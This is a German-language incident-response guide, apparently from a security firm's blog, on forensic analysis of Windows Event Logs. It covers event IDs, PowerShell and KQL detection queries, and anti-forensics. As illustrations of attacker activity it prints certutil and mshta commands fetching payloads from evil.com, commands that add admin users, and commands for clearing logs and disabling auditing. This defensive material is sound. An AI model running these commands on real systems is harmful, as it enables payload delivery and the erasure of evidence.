TL;DR
Windows Event Logs sind das Gedächtnis kompromittierter Systeme und essenziell für die Rekonstruktion von Cyberangriffen. Dieser Artikel beleuchtet kritische Event IDs wie 4624 (erfolgreiche Anmeldung), 4688 (Prozesserstellung mit Command Line Logging) und 7045 (Service-Installation), die Angriffsspuren wie Lateral Movement oder Persistenzmechanismen aufzeigen. Besonders relevant ist die Überwachung von Event 1102, der das Löschen des Security Logs signalisiert - ein kritischer Indikator für Anti-Forensik-Versuche. Eine korrekte Audit Policy, die beispielsweise die maximale Log-Größe auf 500 MB erhöht und PowerShell Script Block Logging aktiviert, ist Voraussetzung für eine effektive Analyse mit Tools wie PowerShell oder Chainsaw.
Diese Zusammenfassung wurde KI-gestützt erstellt (EU AI Act Art. 52).
Inhaltsverzeichnis (6 Abschnitte)
Windows Event Logs sind das Gedächtnis eines kompromittierten Systems. Angreifer hinterlassen Spuren - Logon-Events, Prozesserstellungen, geplante Tasks, Service-Installationen. Wer diese Spuren lesen kann, rekonstruiert den Angriffsablauf. Dieser Guide erklärt die wichtigsten Event IDs, forensische Analyse-Techniken und wie Angreifer versuchen ihre Spuren zu verwischen.
Windows Event Log Architektur
Event Log Speicherorte:
Klassische Logs (*.evtx):
C:\Windows\System32\winevt\Logs\
Wichtigste Log-Dateien:
Security.evtx Authentifizierungen, Richtlinien, Auditing
System.evtx Service-Starts, Driver-Events, OS-Events
Application.evtx Anwendungs-Fehler und -Events
Microsoft-Windows-PowerShell/Operational.evtx PS-Ausführung!
Microsoft-Windows-Sysmon/Operational.evtx Sysmon (wenn installiert)
Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx RDP!
Microsoft-Windows-TaskScheduler/Operational.evtx Scheduled Tasks
EVTX-Format:
→ Binäres Format (nicht direkt lesbar)
→ Analyse via: Event Viewer, PowerShell, Chainsaw, EvtxECmd
→ Maximale Größe konfigurierbar (Standard: 1-20 MB!)
→ Bei Overflow: älteste Events überschrieben!
→ Für Forensik: Größe auf 500 MB erhöhen!
Audit-Policy konfigurieren (Voraussetzung!):
Ohne Audit-Policy: Security.evtx ist leer oder minimal
Alle kritischen Events erfordern aktiviertes Auditing!
# Windows Advanced Audit Policy (via GPO):
Audit Logon/Logoff: Success + Failure (Event 4624, 4625, 4634)
Audit Process Creation: Success (Event 4688)
Audit Account Management: Success + Failure (4720, 4728, 4732)
Audit Policy Change: Success (4719, 4739)
Audit Privilege Use: Success (4673)
Audit Object Access: Success + Failure (4656, 4663) - selektiv!
Audit Service Changes: Success (7045)
PowerShell:
Audit PowerShell Script Block Logging (Group Policy):
→ Computer Config → Administrative Templates → Windows Components → PowerShell
→ Script Block Logging: Enabled
→ Module Logging: Enabled
→ Transcription: Enabled
Kritische Event IDs - Forensische Bedeutung
Authentication Events:
Event 4624 - Successful Logon:
Logon Type 2: Interaktiv (Console-Login)
Logon Type 3: Netzwerk (SMB, Named Pipes) → Lateral Movement!
Logon Type 4: Batch (Scheduled Task)
Logon Type 5: Service (Service-Start)
Logon Type 7: Unlock (Screen Unlock)
Logon Type 8: NetworkCleartext (IIS Basic Auth mit Passwort im Log!)
Logon Type 9: NewCredentials (RunAs, PtH-Indikator!)
Logon Type 10: RemoteInteractive (RDP-Login!)
Logon Type 11: CachedInteractive (Offline-Anmeldung)
Forensisch wichtige Felder:
SubjectUserName: Wer hat sich eingeloggt?
LogonType: Wie? (Type 10 = RDP, Type 3 = Netzwerk)
WorkstationName: Von welchem System?
IpAddress: Von welcher IP? (kritisch bei Lateral Movement!)
AuthenticationPackageName: NTLM (PtH möglich!) vs. Kerberos
Event 4625 - Failed Logon:
→ Viele 4625 in kurzer Zeit = Brute Force!
→ SubFailureReason: 0xC000006D = Wrong Password
→ SubFailureReason: 0xC0000064 = Unknown Username
Event 4634/4647 - Logoff:
→ Session-Dauer: 4624 bis 4634 Zeitdelta
→ Kurze Sessions: automatisierte Zugriffe/Lateral Movement
Event 4771 - Kerberos Pre-authentication Failed:
→ Kerberoasting: 4769 mit RC4-Encryption
→ AS-REP-Roasting: 4768 mit PreAuth-Disabled
→ Falsche Credentials: 4771 mit Error-Code 0x18
Prozess-Events:
Event 4688 - Process Creation (mit Command Line Logging!):
Zeigt: welcher Prozess gestartet, von welchem Parent, mit welchen Argumenten!
Typische Angreifer-Prozesse:
cmd.exe → powershell.exe (PowerShell aus CMD)
powershell.exe -enc <base64> (encoded Command)
net.exe user /add (User-Anlage)
net.exe localgroup administrators /add (Admin-Rechte)
whoami.exe /all (Privilege-Checking)
ipconfig.exe /all (Netzwerk-Recon)
nltest.exe /domain_trusts (AD-Reconnaissance)
mimikatz.exe (Credential-Dump - direkt erkennbar!)
Forensisches Muster: LOLBIN (Living off the Land Binaries):
certutil.exe -urlcache -split -f http://evil.com/payload.exe
→ certutil zum Datei-Download!
wmic.exe process call create "cmd.exe /c ..."
→ WMIC für Prozessstart (Evasion)
mshta.exe http://evil.com/payload.hta
→ HTML-Application-Host für Remote-Execution
Persistence-Events:
Event 4698/4702 - Scheduled Task Created/Modified:
→ TaskName: Verdächtig wenn zufällig oder system-ähnlich
→ Command: was wird ausgeführt?
→ Häufig: Persistence-Mechanismus nach Initial Access
Event 7045 - Service Installed:
→ New Service installiert
→ ServiceFileName: Pfad der Service-DLL/-EXE
→ Verdächtig: Temp-Verzeichnis, zufälliger Name, Base64-encoded
Event 4720/4722/4732 - User/Group Management:
4720: Neuer User angelegt → Persistence!
4722: User-Account aktiviert (deaktivierter Account aktiviert = Backdoor)
4732: User zu lokaler Admin-Gruppe hinzugefügt!
→ Immer: wer hat es gemacht (SubjectUserName)?
Event 4719 - Audit Policy Changed:
→ Angreifer deaktiviert Logging!
→ SubcategoryGUID: welche Audit-Category deaktiviert
→ Alert: SOFORT wenn 4719 erscheint!
Event 1102 - Security Log Cleared:
→ KRITISCH: Security.evtx gelöscht!
→ Dieser Event erscheint am Anfang des neuen leeren Logs
→ Angreifer-Signatur: Spuren verwischen
Forensische Analyse mit PowerShell
PowerShell Event-Log-Analyse:
# Alle fehlgeschlagenen Logins der letzten 24h:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4625
StartTime = (Get-Date).AddHours(-24)
} | Select-Object -Property TimeCreated, Message |
Select-Object -First 50
# Alle neuen Scheduled Tasks:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4698
} | ForEach-Object {
$xml = [xml]$_.ToXml()
[PSCustomObject]@{
Time = $_.TimeCreated
TaskName = $xml.Event.EventData.Data |
Where-Object {$_.Name -eq 'TaskName'} |
Select-Object -ExpandProperty '#text'
Command = $xml.Event.EventData.Data |
Where-Object {$_.Name -eq 'Command'} |
Select-Object -ExpandProperty '#text'
}
}
# RDP-Logins (Logon Type 10) mit IP:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} |
ForEach-Object {
$xml = [xml]$_.ToXml()
$logonType = ($xml.Event.EventData.Data | Where-Object Name -eq 'LogonType').'#text'
if ($logonType -eq '10') {
[PSCustomObject]@{
Time = $_.TimeCreated
User = ($xml.Event.EventData.Data | Where-Object Name -eq 'SubjectUserName').'#text'
IP = ($xml.Event.EventData.Data | Where-Object Name -eq 'IpAddress').'#text'
}
}
}
# Log-Clearing-Ereignisse:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102} |
Select-Object TimeCreated, Message
# PowerShell Script Block Logging auswerten:
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
Id = 4104
} | Where-Object {
$_.Message -match 'IEX|Invoke-Expression|DownloadString|WebClient|Base64'
} | Select-Object TimeCreated, Message
Chainsaw - Schnelle Anomalie-Erkennung
Chainsaw (DFIR-Tool für EVTX-Analyse):
Installation:
# Binary von GitHub (rust-basiert, sehr schnell):
wget https://github.com/WithSecureLabs/chainsaw/releases/latest/download/chainsaw_x86_64-unknown-linux-musl.tar.gz
Verwendung:
# Alle kritischen Events mit Sigma-Regeln:
chainsaw hunt /path/to/evtx/ --sigma sigma-rules/ \
--mapping mappings/sigma-event-logs-all.yml \
--output findings.csv
# Spezifische Events nach Event ID:
chainsaw search --event-id 4624,4625,4688 /path/to/evtx/
# Authentifizierungsanalyse:
chainsaw analyse logons /path/to/Security.evtx \
--output logons-analysis.csv
# Sigma-Regeln: Community-Rules aus SigmaHQ:
# git clone https://github.com/SigmaHQ/sigma
# chainsaw --sigma sigma/rules/windows/ ...
Weitere DFIR-Tools:
EvtxECmd (Eric Zimmermann): EVTX-Parser + Timeline
Hayabusa: Japanisches Tool, Sigma-Support
KAPE: Artefakt-Sammlung + Analyse
Velociraptor: Enterprise-DFIR-Platform
Anti-Forensik durch Angreifer
Techniken zur Log-Manipulation:
1. Security Log clearing (Event 1102):
wevtutil cl Security
→ Komplett löscht Security.evtx
→ Event 1102 erscheint als erster Event im neuen Log!
→ Monitoring: Alert wenn 1102 erscheint
2. Selective Event Deletion (fortgeschritten):
→ Einzelne Events aus EVTX löschen (ohne den ganzen Log)
→ Tools: DanderSpritz (NSA-Tool), Invoke-Phant0m
→ Hinterlässt: Lücken in Event-ID-Sequenz
→ Erkennbar durch: Event-Record-ID-Sprünge!
3. EVTX-Spoofing:
→ Fake Events in Log einfügen
→ Verwirrungstaktik für Forensiker
4. Audit Policy deaktivieren:
auditpol /set /subcategory:"Logon" /success:disable /failure:disable
→ Neue Logins erscheinen nicht mehr in Security.evtx!
→ Erkennbar: Event 4719 (Policy Changed)
→ Monitoring: Alert bei 4719!
5. ETW-Manipulation (Kernel-Level):
→ Event Tracing for Windows (ETW) direkt manipulieren
→ Verhindert dass Events überhaupt erstellt werden
→ Schwer zu erkennen ohne EDR
Gegenmaßnahmen:
→ Logs sofort an SIEM (remote, unveränderlich) senden!
→ Log-Clearing → SIEM-Alert (das Clearing-Event ist bereits im SIEM!)
→ Event-Subscription: Windows Event Forwarding (WEF) zu Log-Server
→ Immutable Logging: SIEM-Logs dürfen nicht modifiziert werden
→ NTP-Synchronisation: Zeitstempel-Manipulation erkennen
SIEM-Integration und Detection Rules
Windows Event Log → Microsoft Sentinel (KQL):
Kritische Alerts:
1. Security Log Cleared:
SecurityEvent
| where EventID == 1102
| project TimeGenerated, Computer, Account
// SOFORT Alert! Security Log wurde geleert!
2. Neue Admin-Gruppenmitgliedschaft:
SecurityEvent
| where EventID == 4732
| where TargetUserName == "Administrators"
| project TimeGenerated, Computer, SubjectUserName, MemberName
3. PowerShell Encoded Command:
SecurityEvent
| where EventID == 4688
| where CommandLine has_any ("-enc", "-EncodedCommand", "encodedcommand")
| project TimeGenerated, Computer, ParentProcessName, CommandLine
4. Pass-the-Hash Indikator:
SecurityEvent
| where EventID == 4624
| where LogonType == 9
| where AuthenticationPackageName == "NTLM"
| project TimeGenerated, SubjectUserName, WorkstationName, IpAddress
5. Brute Force Detection:
SecurityEvent
| where EventID == 4625
| summarize FailCount = count() by bin(TimeGenerated, 5m), TargetUserName, IpAddress
| where FailCount > 10
| project TimeGenerated, TargetUserName, IpAddress, FailCount
Windows Event Log Forensik ist eine Kernkompetenz in jedem Security-Operations-Center. Die Fähigkeit Angriffsspuren schnell zu lesen, zeitliche Abläufe zu rekonstruieren und Anti-Forensik-Techniken zu erkennen, entscheidet darüber wie schnell ein Incident Response-Team eine Kompromittierung eindämmen kann. AWARE7 unterstützt bei Incident Response und forensischer Analyse nach Sicherheitsvorfällen.
Nächster Schritt
Unsere zertifizierten Sicherheitsexperten beraten Sie zu den Themen aus diesem Artikel — unverbindlich und kostenlos.
Kostenlos · 30 Minuten · Unverbindlich
